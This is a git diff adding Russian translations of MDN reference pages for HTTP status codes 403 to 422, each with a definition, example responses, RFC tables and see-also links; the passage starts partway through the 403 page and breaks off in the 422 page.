+<p>Код ответа на статус ошибки "HTTP 403 Forbidden" указывает, что сервер понял запрос, но отказывается его авторизовать.</p>
+
+<p>Этот статус похож на {{HTTPStatus("401")}}, но в этом случае повторная аутентификация не будет иметь никакого значения. Доступ запрещен и привязан к логике приложения (например, у пользователя не хватает прав доступа к запрашиваемому ресурсу).</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">403 Forbidden</pre>
+
+<h2 id="Пример_ответа">Пример ответа</h2>
+
+<pre class="notranslate">HTTP/1.1 403 Forbidden
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "403 Forbidden" , "6.5.3")}}</td>
+   <td>HTTP/1.1: Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">Таблица совместимости на этой странице сгенерирована из структурированых данных. Если вы хотите внести вклад в содержимое, пожалуйста посетите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</p>
+
+<p>{{Compat("http/status", "403")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("401")}}</li>
+<li><a href="https://www.exai.com/blog/403-forbidden">403 Forbidden</a></li>
+</ul>
diff --git a/files/ru/web/http/status/404/index.html b/files/ru/web/http/status/404/index.html
new file mode 100644
index 0000000000..37efe1c6ad
--- /dev/null
+++ b/files/ru/web/http/status/404/index.html
@@ -0,0 +1,56 @@
+---
+title: 404 Not Found
+slug: Web/HTTP/Status/404
+translation_of: Web/HTTP/Status/404
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа на ошибку HTTP <strong>404 Not Found</strong> указывает, что сервер не может найти запрошенный ресурс. Ссылки, ведущие к коду 404, часто называются сломанными или мёртвыми связями и приводят к <a href="https://en.wikipedia.org/wiki/Link_rot">ссылочной гнили</a>.</p>
+
+<p>Код статуса 404 не уточняет, отсутствует ли запрашиваемый ресурс временно или постоянно. Но если серверу известно, что указанный ресурс удалён навсегда, то вместо статуса 404 следует использовать {{HTTPStatus(410)}} (Gone) .</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">404 Not Found</pre>
+
+<h2 id="Пользовательские_страницы_ошибок">Пользовательские страницы ошибок</h2>
+
+<p>Многие веб-сайты настраивают внешний вид страницы 404, чтобы быть более полезными для пользователя и давать рекомендации. Серверы Apache могут быть настроены с использованием файла <strong>.htaccess</strong> и фрагмента кода, например, такого, как этот.</p>
+
+<pre class="brush: bash notranslate">ErrorDocument 404 /notfound.html</pre>
+
+<p>Вы можете взять <a href="https://developer.mozilla.org/en-US/404">MDN's 404 page</a> в качестве вдохновения.</p>
+
+<div class="note">
+<p>Примечание: дизайн на 404 страницах -  <a href="https://www.google.fr/search?q=awesome+404+pages">an endless source of inspiration</a>, но имейте в виду, что в нем также существует  <a href="http://alistapart.com/article/perfect404">a set of best practices</a>, которые делают эти страницы полезными для пользователей веб-сайтов.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "404 Not Found" , "6.5.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "404")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus(410)}}</li>
+ <li>
+  <p>{{interwiki("wikipedia", "HTTP_404", "Wikipedia: HTTP 404")}}</p>
+ </li>
+</ul>
diff --git a/files/ru/web/http/status/405/index.html b/files/ru/web/http/status/405/index.html
new file mode 100644
index 0000000000..afea810f1b
--- /dev/null
+++ b/files/ru/web/http/status/405/index.html
@@ -0,0 +1,37 @@
+---
+title: 405 Method Not Allowed
+slug: Web/HTTP/Status/405
+translation_of: Web/HTTP/Status/405
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код состояния протокола HTTP  <code><strong>405</strong></code><strong><code> Method Not Allowed</code></strong>, указывает, что метод запроса известен серверу, но был отключен и не может быть использован. Два обязательных метода {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}} никогда не должны быть отключены и не должны возвращать этот код ошибки.</p>
+
+<p>Сервер ОБЯЗАН сгенерировать поле заголовка <code><strong>Allow</strong></code> в ответе с кодом 405, которое содержит список текущих доступных методов ресурса.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">405 Method Not Allowed</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Титул</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "405 Method Not Allowed" , "6.5.5")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Allow")}}</li>
+<li><a href="https://www.exai.com/blog/http-405-error">405 Method Not Allowed</a></li>
+
+</ul>
diff --git a/files/ru/web/http/status/406/index.html b/files/ru/web/http/status/406/index.html
new file mode 100644
index 0000000000..a06e73be59
--- /dev/null
+++ b/files/ru/web/http/status/406/index.html
@@ -0,0 +1,61 @@
+---
+title: 406 Not Acceptable
+slug: Web/HTTP/Status/406
+tags:
+  - HTTP
+  - Код состояния HTTP
+translation_of: Web/HTTP/Status/406
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HyperText Transfer Protocol (HTTP) код ошибки клиента <code><strong>406</strong></code><strong><code> Not Acceptable</code></strong> означает, что сервер не может вернуть ответ, соответствующий списку допустимых значений, определенных в заголовках упреждающего <a href="/ru/docs/Web/HTTP/Content_negotiation">согласования контента</a>, и что сервер не желает вернуть представление контента по-умолчанию.</p>
+
+<p>Заголовки упреждающего согласования контента включают:</p>
+
+<ul>
+ <li>{{HTTPHeader("Accept")}}</li>
+ <li>{{HTTPHeader("Accept-Charset")}}</li>
+ <li>{{HTTPHeader("Accept-Encoding")}}</li>
+ <li>{{HTTPHeader("Accept-Language")}}</li>
+</ul>
+
+<p>На практике эта ошибка очень редко используется. Вместо ответа с использованием этого кода ошибки, который может быть загадочным для конечного пользователя и трудным для исправления, серверы игнорируют соответствующий заголовок и предоставляют актуальную страницу для пользователя. Предполагается, что даже если пользователь не будет полностью удовлетворён, он предпочтет это коду ошибки.</p>
+
+<p>Если сервер возвращает такой код ошибки, тело сообщения должно содержать список доступных представлений ресурсов, позволяя вручную выбирать между ними.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">406 Not Acceptable</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "406 Not Acceptable" , "6.5.6")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p>Информация, показываемая ниже, была получена из GitHub-репозитория MDN (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если вы хотели бы внести свой вклад в эти данные, пожалуйста, склонируйте к себе репозиторий <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull-request.</p>
+
+<p>{{Compat("http/status", "406")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept")}}</li>
+ <li>{{HTTPHeader("Accept-Charset")}}</li>
+ <li>{{HTTPHeader("Accept-Encoding")}}</li>
+ <li>{{HTTPHeader("Accept-Language")}}</li>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a></li>
+</ul>
diff --git a/files/ru/web/http/status/407/index.html b/files/ru/web/http/status/407/index.html
new file mode 100644
index 0000000000..4f66630555
--- /dev/null
+++ b/files/ru/web/http/status/407/index.html
@@ -0,0 +1,54 @@
+---
+title: 407 Proxy Authentication Required
+slug: Web/HTTP/Status/407
+translation_of: Web/HTTP/Status/407
+---
+<div>
+<p>{{HTTPSidebar}}</p>
+
+<p>HTTP <strong><code>407 Proxy Authentication Required </code></strong>код ответа на ошибку клиента указывает, что запрос не был применен, поскольку он не имеет достоверных учетных данных для {{Glossary("proxy server")}}, который находится между браузером и сервером, который может получить доступ к запрашиваемому ресурсу..</p>
+
+<p>Этот статус отправляется с {{HTTPHeader("Proxy-Authenticate")}}, который содержит информацию о том, как правильно разрешить авторизацию.</p>
+</div>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">407 Proxy Authentication Required </pre>
+
+<h2 id="Пример_ответа">Пример ответа</h2>
+
+<pre>HTTP/1.1 407 Proxy Authentication Required
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+Proxy-Authenticate: Basic realm="Access to internal site"</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7235", "407 Proxy Authentication Required" , "3.2")}}</td>
+   <td>HTTP/1.1: Authentication</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "407")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/408/index.html b/files/ru/web/http/status/408/index.html
new file mode 100644
index 0000000000..9f0f0de305
--- /dev/null
+++ b/files/ru/web/http/status/408/index.html
@@ -0,0 +1,39 @@
+---
+title: 408 Request Timeout
+slug: Web/HTTP/Status/408
+translation_of: Web/HTTP/Status/408
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>408</strong></code><strong><code> Request Timeout</code></strong>  означает, что сервер хотел бы отключить это неиспользуемое соединение. Он отправляется на незанятое соединение некоторыми серверами, <em>даже без какого-либо предыдущего запроса клиентом</em></p>
+
+<p>Сервер должен отправить заголовок {{HTTPHeader("Connection")}} со значением «close» в ответ, поскольку <strong>408</strong> подразумевает, что сервер решил закрыть соединение, а не продолжать ждать.</p>
+
+<p>Этот ответ используется гораздо больше, поскольку некоторые браузеры, такие как Chrome, Firefox 27+ или IE9, используют механизмы предварительного подключения HTTP для ускорения серфинга. Также обратите внимание, что некоторые серверы просто закрывают соединение без отправки этого сообщения.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">408 Request Timeout</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Титул</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "408 Request Timeout" , "6.5.7")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Connection")}}</li>
+ <li>{{HTTPHeader("X-DNS-Prefetch-Control")}}</li>
+<li><a class="external" href="https://www.exai.com/blog/408-request-timeout-error" rel="noopener">408 Request Timeout </a></li>
+</ul>
diff --git a/files/ru/web/http/status/409/index.html b/files/ru/web/http/status/409/index.html
new file mode 100644
index 0000000000..8f466a326a
--- /dev/null
+++ b/files/ru/web/http/status/409/index.html
@@ -0,0 +1,40 @@
+---
+title: 409 Conflict
+slug: Web/HTTP/Status/409
+tags:
+  - HTTP
+  - HTTP Статус Код
+  - Ошибка клиента
+  - Ссылка
+translation_of: Web/HTTP/Status/409
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>409 Conflict</strong></code> код состояния ответа указывает на конфликт запроса с текущим состоянием сервера.</p>
+
+<p>Конфликты чаще всего возникают в ответ на {{HTTPMethod("PUT")}} запрос. Например, вы можете получить ответ 409 при загрузке файла, который старше, чем тот, который уже существует на сервере, что приводит к конфликту управления версиями.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">409 Conflict</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "409 Conflict" , "6.5.8")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPMethod("PUT")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/410/index.html b/files/ru/web/http/status/410/index.html
new file mode 100644
index 0000000000..99afd4a8d8
--- /dev/null
+++ b/files/ru/web/http/status/410/index.html
@@ -0,0 +1,47 @@
+---
+title: 410 Gone
+slug: Web/HTTP/Status/410
+translation_of: Web/HTTP/Status/410
+---
+<div>{{HTTPSidebar}}</div>
+
+<div></div>
+
+<p>Код ошибки HTTP <code><strong>410 Gone</strong></code> указывает, что целевой ресурс больше недоступен на сервере происхождения и что это состояние, вероятно, будет постоянным.</p>
+
+<p>Если вы не знаете, является это состояние временным или постоянным, вместо него следует использовать код статуса {{HTTPStatus(404)}} .</p>
+
+<div class="note">
+<p>По умолчанию ответ 410 кэшируется</p>
+</div>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">410 Gone</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "410 Gone" , "6.5.9")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.410")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus(404)}}</li>
+</ul>
diff --git a/files/ru/web/http/status/411/index.html b/files/ru/web/http/status/411/index.html
new file mode 100644
index 0000000000..9c7899a650
--- /dev/null
+++ b/files/ru/web/http/status/411/index.html
@@ -0,0 +1,36 @@
+---
+title: 411 Length Required
+slug: Web/HTTP/Status/411
+translation_of: Web/HTTP/Status/411
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа на ошибку <code><strong>411</strong></code><strong><code> Length Required</code></strong> указывает, что сервер отказывается принять запрос без определенного  {{HTTPHeader("Content-Length")}}. </p>
+
+<p>Обратите внимание, что по спецификации при отправке данных в ряд фрагментов<strong> Content-Length</strong> опущен, и в начале каждого фрагмента вам нужно добавить длину текущего фрагмента в шестнадцатеричном формате. Подробнее смотрите {{HTTPHeader("Transfer-Encoding")}}.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">411 Length Required</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "411 Length Required" , "6.5.10")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Length")}}</li>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/412/index.html b/files/ru/web/http/status/412/index.html
new file mode 100644
index 0000000000..a3b7883952
--- /dev/null
+++ b/files/ru/web/http/status/412/index.html
@@ -0,0 +1,42 @@
+---
+title: 412 Precondition Failed
+slug: Web/HTTP/Status/412
+translation_of: Web/HTTP/Status/412
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>The HTTP <code><strong>412</strong></code><strong><code> Precondition Failed</code></strong> клиентский код ответа на ошибку указывает, что доступ к целевому ресурсу был отклонен. Это происходит с условными запросами на методы, отличные от  {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}, когда условие определено {{HTTPHeader("If-Unmodified-Since")}} или {HTTPHeader("If-None-Match")}} не выполняется. В этом случае запрос, обычно загрузка или изменение ресурса, не может быть выполнен, и этот ответ об ошибке отправляется обратно.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">412 Precondition Failed</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7232", "412 Precondition Failed" , "4.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "412")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("304")}}</li>
+ <li>{{HTTPHeader("If-Unmodified-Since")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPStatus("428")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/413/index.html b/files/ru/web/http/status/413/index.html
new file mode 100644
index 0000000000..e0383192a9
--- /dev/null
+++ b/files/ru/web/http/status/413/index.html
@@ -0,0 +1,34 @@
+---
+title: 413 Payload Too Large
+slug: Web/HTTP/Status/413
+translation_of: Web/HTTP/Status/413
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код HTTP <code><strong>413 Payload Too Large</strong></code> , указывает, что объект запроса больше, чем ограничения, определенные сервером; сервер может закрыть соединение или вернуть поле {{HTTPHeader("Retry-After")}}.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">413 Payload Too Large</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "413 Payload Too Large" , "6.5.11")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Connection")}}</li>
+ <li>{{HTTPHeader("Retry-After")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/414/index.html b/files/ru/web/http/status/414/index.html
new file mode 100644
index 0000000000..39a195968e
--- /dev/null
+++ b/files/ru/web/http/status/414/index.html
@@ -0,0 +1,41 @@
+---
+title: 414 URI Too Long
+slug: Web/HTTP/Status/414
+translation_of: Web/HTTP/Status/414
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код состояния HTTP <code><strong>414 URI Too Long</strong></code>  указывает, что URI, запрошенный клиентом, длиннее, чем сервер готов интерпретировать.</p>
+
+<p>Есть несколько редких условий, когда это может произойти:</p>
+
+<ul>
+ <li>Когда клиент неправильно конвертировал {{HTTPMethod("POST")}} запрос в {{HTTPMethod ("GET")}} запрос с длинной информацией запроса,</li>
+ <li>Когда клиент спустился в цикл перенаправления (например, перенаправленный префикс URI, который указывает на суффикс самого себя),,</li>
+ <li>Или когда сервер подвергается атаке со стороны клиента, пытающегося использовать потенциальные дыры в безопасности.</li>
+</ul>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">414 URI Too Long</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "414 URI Too Long" , "6.5.12")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Glossary("URI")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/415/index.html b/files/ru/web/http/status/415/index.html
new file mode 100644
index 0000000000..73c47e719d
--- /dev/null
+++ b/files/ru/web/http/status/415/index.html
@@ -0,0 +1,37 @@
+---
+title: 415 Unsupported Media Type
+slug: Web/HTTP/Status/415
+translation_of: Web/HTTP/Status/415
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа на ошибку клиента HTTP<strong> 415 Unsupported Media Type</strong> указывает, что сервер отказывается принять запрос, потому что формат содержимого не поддерживается сервером.</p>
+
+<p>Проблема формата может быть связана с указанным запросом {{HTTPHeader("Content-Type")}} или {{HTTPHeader("Content-Encoding")}} или в результате непосредственного контроля данных.</p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">415 Unsupported Media Type</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "415 Unsupported Media Type" , "6.5.13")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>{{HTTPHeader("Content-Encoding")}}</li>
+ <li>{{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/416/index.html b/files/ru/web/http/status/416/index.html
new file mode 100644
index 0000000000..05ffd0b379
--- /dev/null
+++ b/files/ru/web/http/status/416/index.html
@@ -0,0 +1,49 @@
+---
+title: 416 Range Not Satisfiable
+slug: Web/HTTP/Status/416
+tags:
+  - HTTP
+  - Код состояния
+  - Ошибка клиента
+translation_of: Web/HTTP/Status/416
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ошибки HTTP <strong>416 Range Not Satisfiable</strong> указывает, что сервер не может обслуживать запрошенные диапазоны. Наиболее вероятная причина заключается в том, что документ не содержит таких диапазонов или что значение {{HTTPHeader ("Range")}}, хотя и синтаксически корректно, не имеет смысла.</p>
+
+<p>Cообщение ответа 416 содержит {{HTTPHeader("Content-Range")}}, указывающий на неудовлетворенный диапазон (это <code>'*'</code>), за которым следуют <code>'/'</code> и текущий ресурс. Например: <code>Content-Range: */12777</code></p>
+
+<p>Столкнувшись с этой ошибкой, браузеры обычно либо прерывают операцию (например, загрузка будет считаться не возобновляемой), либо снова запрашиваются ведь документ.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">416 Range Not Satisfiable</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "416 Request Not Satisfiable" , "4.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status.416")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus(206)}} <code>Partial Content</code></li>
+ <li>{{HTTPHeader("Content-Range")}}</li>
+ <li>{{HTTPHeader("Range")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/417/index.html b/files/ru/web/http/status/417/index.html
new file mode 100644
index 0000000000..75cd262422
--- /dev/null
+++ b/files/ru/web/http/status/417/index.html
@@ -0,0 +1,41 @@
+---
+title: 417 Expectation Failed
+slug: Web/HTTP/Status/417
+tags:
+  - HTTP
+  - Код статуса
+  - Код статуса HTTP
+  - Ошибка клиента
+  - Справка
+translation_of: Web/HTTP/Status/417
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ошибки HTTP <strong><code>417 Expectation Failed</code></strong> указывает на то, что ожидание, указанное в  {{HTTPHeader("Expect")}}, не может быть выполнено.</p>
+
+<p>Дополнительную информацию смотрите в  {{HTTPHeader("Expect")}}.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">417 Expectation Failed</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "417 Expectation Failed" , "6.5.14")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Expect")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/418/index.html b/files/ru/web/http/status/418/index.html
new file mode 100644
index 0000000000..fb8bf0dd9f
--- /dev/null
+++ b/files/ru/web/http/status/418/index.html
@@ -0,0 +1,48 @@
+---
+title: 418 I'm a teapot
+slug: Web/HTTP/Status/418
+tags:
+  - 1 апреля
+  - '418'
+  - кофе
+  - кофейник
+  - чайник
+  - шутка
+translation_of: Web/HTTP/Status/418
+---
+<div>{{HTTPSidebar}}</div>
+
+<div> </div>
+
+<p>HTTP код ошибки <strong><code>418 I'm a teapot</code></strong> сообщает о том, что сервер не может приготовить кофе, потому что он чайник. Эта ошибка ссылается на Hyper Text Coffee Pot Control Protocol (гипертекстовый протокол кофейников) который был первоапрельской шуткой в 1998 году.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">418 I'm a teapot</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("2324", "418 I'm a teapot" , "2.3.2")}}</td>
+   <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.418")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Hyper Text Coffee Pot Control Protocol", "Wikipedia: Hyper Text Coffee Pot Control Protocol")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/422/index.html b/files/ru/web/http/status/422/index.html
new file mode 100644
index 0000000000..cb37f0af93
--- /dev/null
+++ b/files/ru/web/http/status/422/index.html
@@ -0,0 +1,41 @@
+---
+title: 422 Unprocessable Entity
+slug: Web/HTTP/Status/422
+tags:
+  - HTTP
+  - HTTP коды состояний
+  - WebDAV
+  - Коды состояний
+  - Ошибка клиента
+translation_of: Web/HTTP/Status/422
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>Код состояния ответа HTTP <code><strong>422 Unprocessable Entity</strong></code> указывает, что сервер понимает тип содержимого в теле запроса и синтаксис запроса является правильным, но серверу не удалось обработать инструкции содержимого.</p>
+
+<p>К примеру, эта ошибка может возникнуть, если тело запроса содержит хорошо сформированный (т.е. синтаксически корректный) XML-документ, но семантически ошибочные XML-инструкции.</p>
+
